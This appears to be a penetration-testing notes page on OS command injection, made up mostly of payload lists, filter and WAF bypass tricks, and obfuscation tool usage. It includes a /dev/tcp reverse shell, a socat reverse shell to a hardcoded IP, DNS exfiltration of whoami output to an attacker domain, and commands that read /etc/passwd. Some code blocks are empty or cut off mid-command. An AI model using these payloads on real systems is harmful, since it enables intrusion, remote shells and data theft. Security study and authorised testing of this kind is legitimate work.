> For the complete documentation index, see [llms.txt](https://ahmed-tarek.gitbook.io/security-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ahmed-tarek.gitbook.io/security-notes/owsap-top-10-2025/a05-injection/command-injection.md).
# Command Injection
**PHP Example**
`exec`, `system`, `shell_exec`, `passthru`, or `popen` functions to execute commands
```
```
**NodeJS Example**
`child_process.exec` or `child_process.spawn`
```
app.get("/createfile", function(req, res){
child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})
```
### Vulnerable Parameters
Top 25 parameters that could be vulnerable
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### Detection
```
;
%3b
\n
%0a
&
%26
|
%7c
&&
%26%26
||
%7c%7c
``
%60%60
$()
%24%28%29
```
```
$(curl${IFS}http://ATTACK_IP)
```
### Confirm with time command
```
# 5 seconds sleep
$ time curl "http://target.com/script.php?id=;sleep%205"
```
### Basic Payloads
```
/index.html|id|
;id;
;id
;netstat -a;
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
\n/usr/bin/id;
\nid;
\n/usr/bin/id|
\nid|
;/usr/bin/id\n
;id\n
|usr/bin/id\n
|nid\n
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
whoami
wh$()oami
whoam$(echo+i)
who'a'm(echo+i)
;id
&& id
| id
$(id)
`id`
& whoami
| whoami
&& whoami
sleep 10
; sleep 10
&& sleep 10
ping -n 10 127.0.0.1
```
### Bypassing Front-End Validation
Intercept and add input
#### AND Operator
```
ping -c 1 127.0.0.1 && whoami
```
URL-encoding it - see [Detection](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/command-injection#detection) Table or Use Burp
`%26%26`
#### OR Operator
```
ping -c 1 || whoami
```
`%7c%7c` - see [Detection](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/command-injection#detection) Table or Use Burp
Execution if the first command fail
### Operators
### Blind OS Command Injection
Detection
```
sleep 10
`sleep 10`
ping burpcollaborator
`ping burpcollaborator`
```
{% embed url="" %}
`ping $(whoami).collaborator_server_dot_com`
Reverse shell
```
`/bin/sh -i >& /dev/tcp/my_ip>/my_port 0>&1`
```
### Blind OS command injection - Redirect output
```
& whoami > /var/www/static/whoami.txt &
```
```
https://vulnerable.net/image?filename=whoami.txt
```
### Blind OS command injection - out of band OAST
Detection
```
& nslookup kgji2ohoyw.web-attacker.com &
```
Exfiltration
```
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
```
### WAF
*If the error message displayed a different page, with information like our IP and our request, this may indicate that it was denied by a WAF.*
#### Blacklisted Characters
```
$blacklist = ['&', '|', ';', ...SNIP...];
foreach ($blacklist as $character) {
if (strpos($_POST['ip'], $character) !== false) {
echo "Invalid input";
}
}
```
#### Identifying Blacklisted Character
One at a time: `127.0.0.1;` - Use URL encoding
### Bypassing Space Filters
#### Bypass Blacklisted Operators
The new-line character is usually not blacklisted, as it may be needed in the payload itself
#### Bypass Blacklisted Spaces
`127.0.0.1%0a whoami`
A space is a commonly blacklisted character, especially if the input should not contain any spaces
**Using Tabs**
Using tabs (%09) instead of spaces is a technique that may work
`127.0.0.1%0a%09`
**Using $IFS**
`127.0.0.1%0a${IFS}`
**Using Brace Expansion**
```
{ls,-la}
total 0
drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 07:37 .
drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 13:01 ..
```
`127.0.0.1%0a{ls,-la}`
More space filter bypass:
{% embed url="" %}
### Bypassing Other Blacklisted Characters
#### Linux
One technique we can use for replacing slashes (`or any other character`) is through `Linux Environment Variables`
```
echo ${PATH:0:1}
/
```
127.0.0.1; ls /home
```
ip=127.0.0.1%0a%09ls%09${PATH:0:1}home
```
RS Socat
```
127.0.0.1%0a%27s%27o%27c%27a%27t%27${IFS}TCP4:10.10.14.119:8000${IFS}EXEC:bash
```
semi-colon character
```
echo ${LS_COLORS:10:1}
;
```
semi-colon and a space
`127.0.0.1${LS_COLORS:10:1}${IFS}`
#### Windows
slash - cmd:
```
echo %HOMEPATH:~6,-11%
\
```
slash - powershell
```
PS C:\htb> $env:HOMEPATH[0]
\
```
#### Character Shifting
slash
```
echo $(tr '!-}' '"-~'<<<[)
\
```
semi-colon
```
echo $(tr '[' ';'<<<[)
;
```
### Bypassing Blacklisted Commands
#### Commands Blacklist
```
$blacklist = ['whoami', 'cat', ...SNIP...];
foreach ($blacklist as $word) {
if (strpos('$_POST['ip']', $word) !== false) {
echo "Invalid input";
}
}
```
#### Linux & Windows
```
$ w'h'o'am'i
21y4d
```
```
$ w"h"o"am"i
21y4d
```
`127.0.0.1%0aw'h'o'am'i`
Copy
```
127.0.0.1%0a%09ls%09${PATH:0:1}home${PATH:0:1}1nj3c70r
```
cat - Invalid Input
`127.0.0.1%0a%09c'a't%09${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt`
#### Linux Only
backslash `\` and the positional parameter character `$@` are ignored
```
who$@ami
w\ho\am\i
```
Try the above two examples in your payload, and see if they work in bypassing the command filter. If they do not, this may indicate that you may have used a filtered character. Would you be able to bypass that as well, using the techniques we learned in the previous section?
#### Windows Only
caret (`^`)
```
C:\htb> who^ami
21y4d
```
### Advanced Command Obfuscation
#### Case Manipulation
`WHOAMI` => `WhOaMi`
```
PS C:\htb> WhOaMi
21y4d
```
```
$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
21y4d
```
Replace space (blacklisted) with %09
```
$(a="WhOaMi";printf %s "${a,,}")
```
#### Reversed Commands
```
echo 'whoami' | rev
imaohw
```
```
$ $(rev<<<'imaohw')
21y4d
```
If you wanted to bypass a character filter with the above method, you'd have to reverse them as well, or include them when reversing the original command.
```
PS C:\htb> "whoami"[-1..-20] -join ''
imaohw
```
```
PS C:\htb> iex "$('imaohw'[-1..-20] -join '')"
21y4d
```
#### Encoded Commands
```
echo -n 'cat /etc/passwd | grep 33' | base64
Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==
```
```
bash<<<$(base64 -d<<
Even if some commands were filtered, like `bash` or `base64`, we could bypass that filter with the techniques we discussed in the previous section (e.g., character insertion), or use other alternatives like `sh` for command execution and `openssl` for b64 decoding, or `xxd` for hex decoding.
```
PS C:\htb> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
dwBoAG8AYQBtAGkA
```
```
echo -n whoami | iconv -f utf-8 -t utf-16le | base64
dwBoAG8AYQBtAGkA
```
```
PS C:\htb> iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
21y4d
```
More Technique
{% embed url="" %}
#### Obfuscated Commands
```
$(curl${IFS}http://ATTACK_IP)
```
List of commands obfuscated as wordlist to test possible WAF filter bypass:
```
uname
u'n'a'm'e
${uname}
$(uname)
{uname}
{ls,-la}
who$@ami
w\ho\am\i
$(rev<<<'emanu')
bash<<<$(base64 -d<<
1. List [Detection](https://app.gitbook.com/o/iUvKO7e7FG5n3fWAv5jl/s/LOEWCqpy5OCVJux6qFwa/~/edit/~/changes/142/pentesting/wep-pen/owsap-top-10/injection/comma-injection#detection)
2. List Obfuscated Commands
cluster bomb
Payload 1 - set to detection list
Payload 2 - set to obfuscated command
### Evasion Tools
#### Linux (Bashfuscator)
{% embed url="" %}
```
$ git clone https://github.com/Bashfuscator/Bashfuscator
$ cd Bashfuscator
$ pip3 install setuptools==65
$ python3 setup.py install --user
```
```
$ cd ./bashfuscator/bin/
$ ./bashfuscator -h
```
```
$ ./bashfuscator -c 'cat /etc/passwd'
[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
${*/+27\[X\(} ...SNIP... ${*~}
[+] Payload size: 1664 characters
```
```
$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters
```
```
$ bash -c 'eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'
root:x:0:0:root:/root:/bin/bash
...SNIP...
```
#### Windows (DOSfuscation)
{% embed url="" %}
```
PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help
HELP MENU :: Available options shown below:
[*] Tutorial of how to use this tool TUTORIAL
...SNIP...
Choose one of the below options:
[*] BINARY Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING Environment variable encoding
[*] PAYLOAD Obfuscated payload via DOSfuscation
```
```
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1
...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt
```
```
C:\htb> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt
test_flag
```
Tip: If we do not have access to a Windows VM, we can run the above code on a Linux VM through `pwsh`. Run `pwsh`, and then follow the exact same command from above.
### Payloads
{% embed url="" %}
### Tools
{% embed url="" %}
```
commix --url=”http://target.com/vuln.php?param=1"
# Some options
-r REQUESTFILE Load HTTP request from a file.
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
(Default: 1)
--cookie=COOKIE HTTP Cookie header
--os=OS Force back-end operating system (e.g. 'Windows' or
'Unix').
```
### Interesting Books
[Interesting Books](https://0xss0rz.gitbook.io/0xss0rz/interesting-books)
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
